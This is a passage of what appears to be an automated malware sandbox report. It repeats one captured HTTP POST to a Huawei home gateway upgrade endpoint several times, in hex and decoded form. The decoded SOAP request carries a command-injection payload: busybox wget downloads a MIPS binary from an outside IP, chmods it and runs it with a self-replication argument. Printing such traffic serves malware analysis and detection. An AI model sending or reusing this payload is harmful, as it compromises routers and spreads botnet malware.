4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 